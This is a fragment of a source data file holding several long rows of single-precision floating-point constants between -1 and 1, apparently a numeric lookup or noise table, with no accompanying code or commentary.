-0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, -0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, -0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, -0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 